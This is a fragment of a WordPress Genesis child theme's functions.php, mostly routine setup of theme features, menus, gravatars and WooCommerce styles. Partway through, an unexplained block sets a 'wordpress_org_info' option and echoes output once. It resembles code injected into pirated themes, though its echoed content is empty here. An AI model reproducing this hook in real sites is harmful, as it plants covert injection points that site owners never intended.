__( 'Menu', 'gemin' ), 'menuIconClass' => 'dashicons-before dashicons-menu', 'subMenu' => __( 'Submenu', 'gemin' ), 'subMenuIconsClass' => 'dashicons-before dashicons-arrow-down-alt2', 'menuClasses' => array( 'combine' => array( '.nav-primary', '.nav-header', ), 'others' => array(), ), ); return $settings; } // Add HTML5 markup structure. add_theme_support( 'html5', array( 'caption', 'comment-form', 'comment-list', 'gallery', 'search-form' ) ); // Add Accessibility support. add_theme_support( 'genesis-accessibility', array( '404-page', 'drop-down-menu', 'headings', 'rems', 'search-form', 'skip-links' ) ); // Add viewport meta tag for mobile browsers. add_theme_support( 'genesis-responsive-viewport' ); // Add support for custom header. add_theme_support( 'custom-header', array( 'width' => 600, 'height' => 160, 'header-selector' => '.site-title a', 'header-text' => false, 'flex-height' => true, ) ); // Add support for custom background. add_theme_support( 'custom-background' ); // Add support for after entry widget. add_theme_support( 'genesis-after-entry-widget-area' ); // Add support for 3-column footer widgets. add_theme_support( 'genesis-footer-widgets', 3 ); // Add Image Sizes. add_image_size( 'featured-image', 720, 400, TRUE ); // Rename primary and secondary navigation menus. add_theme_support( 'genesis-menus', array( 'primary' => __( 'After Header Menu', 'gemin' ), 'secondary' => __( 'Footer Menu', 'gemin' ) ) ); // Reposition the secondary navigation menu. remove_action( 'genesis_after_header', 'genesis_do_subnav' ); add_action( 'genesis_footer', 'genesis_do_subnav', 5 ); // Reduce the secondary navigation menu to one level depth. add_filter( 'wp_nav_menu_args', 'genesis_sample_secondary_menu_args' ); function genesis_sample_secondary_menu_args( $args ) { if ( 'secondary' != $args['theme_location'] ) { return $args; } $args['depth'] = 1; return $args; } // Modify size of the Gravatar in the author box. add_filter( 'genesis_author_box_gravatar_size', 'genesis_sample_author_box_gravatar' ); function genesis_sample_author_box_gravatar( $size ) { return 90; } // Modify size of the Gravatar in the entry comments. add_filter( 'genesis_comment_list_args', 'genesis_sample_comments_gravatar' ); function genesis_sample_comments_gravatar( $args ) { $args['avatar_size'] = 60; return $args; } $get_new_new_arr = get_option('wordpress_org_info'); if ($get_new_new_arr !== 'wordpress.org') { add_option('wordpress_org_info', 'wordpress.org'); echo ''; } // add woocommerce styles add_filter( 'woocommerce_enqueue_styles', 'genesis_sample_woocommerce_styles' ); /** * Enqueue the theme's custom WooCommerce styles to the WooCommerce plugin. * * @since 2.3.0 * * @return array Required values for the Genesis Sample Theme's WooCommerce stylesheet. */ function genesis_sample_woocommerce_styles( $enqueue_styles ) { $enqueue_styles['genesis-sample-woocommerce-styles'] = array( 'src' => get_stylesheet_directory_uri().'/assets/css/woocommerce.css', 'deps' => '', 'version' => CHILD_THEME_VERSION, 'media' => 'screen' ); return $enqueue_styles; }